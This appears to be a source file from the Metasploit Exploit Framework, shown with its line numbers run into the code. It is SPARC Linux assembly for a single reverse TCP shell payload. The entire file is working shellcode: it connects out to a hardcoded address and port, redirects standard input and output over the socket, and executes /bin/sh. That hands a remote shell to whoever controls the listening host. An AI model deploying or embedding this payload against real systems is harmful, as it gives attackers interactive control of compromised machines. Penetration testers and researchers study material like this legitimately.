Path: blob/master/external/source/shellcode/linux/sparc/single_reverse_tcp.s
24822 views
##1#2# Name: single_reverse_tcp3# Platforms: Linux4# Authors: vlad902 <vlad902 [at] gmail.com>5# Version: $Revision: 1652 $6# License:7#8# This file is part of the Metasploit Exploit Framework9# and is subject to the same licenses and copyrights as10# the rest of this package.11#12# Description:13#14# Single reverse TCP shell.15#16##1718.globl main1920main:21andn %sp, 7, %sp2223mov 1, %o024mov 2, %l025st %l0, [ %sp - 0x0c ]26st %o0, [ %sp - 0x08 ]27st %g0, [ %sp - 0x04 ]28sub %sp, 0x0c, %o129mov 0xce, %g130ta 0x103132sub %sp, 0x20, %l233mov 0x10, %l334st %o0, [ %sp - 0x0c ]35std %l3, [ %sp - 0x08 ]3637#ifndef NO_NULLS38set 0x00027a68, %l439#else40set 0x27a68fff, %l441srl %l4, 12, %l442#endif43set 0xc0a8000a, %l544std %l4, [ %sp - 0x20 ]4546mov 3, %o047ta 0x104849mov 3, %o150dup2_loop:51subcc %o1, 1, %o152mov 0x5a, %g153ta 0x105455bnz dup2_loop56ld [ %sp - 0x0c ], %o05758xor %o3, %o3, %o259set 0x2f62696e, %l060set 0x2f736800, %l161sub %sp, 0x10, %o062sub %sp, 0x08, %o163std %l0, [ %sp - 0x10 ]64st %o0, [ %sp - 0x08 ]65st %g0, [ %sp - 0x04 ]66mov 0x3b, %g167ta 0x08686970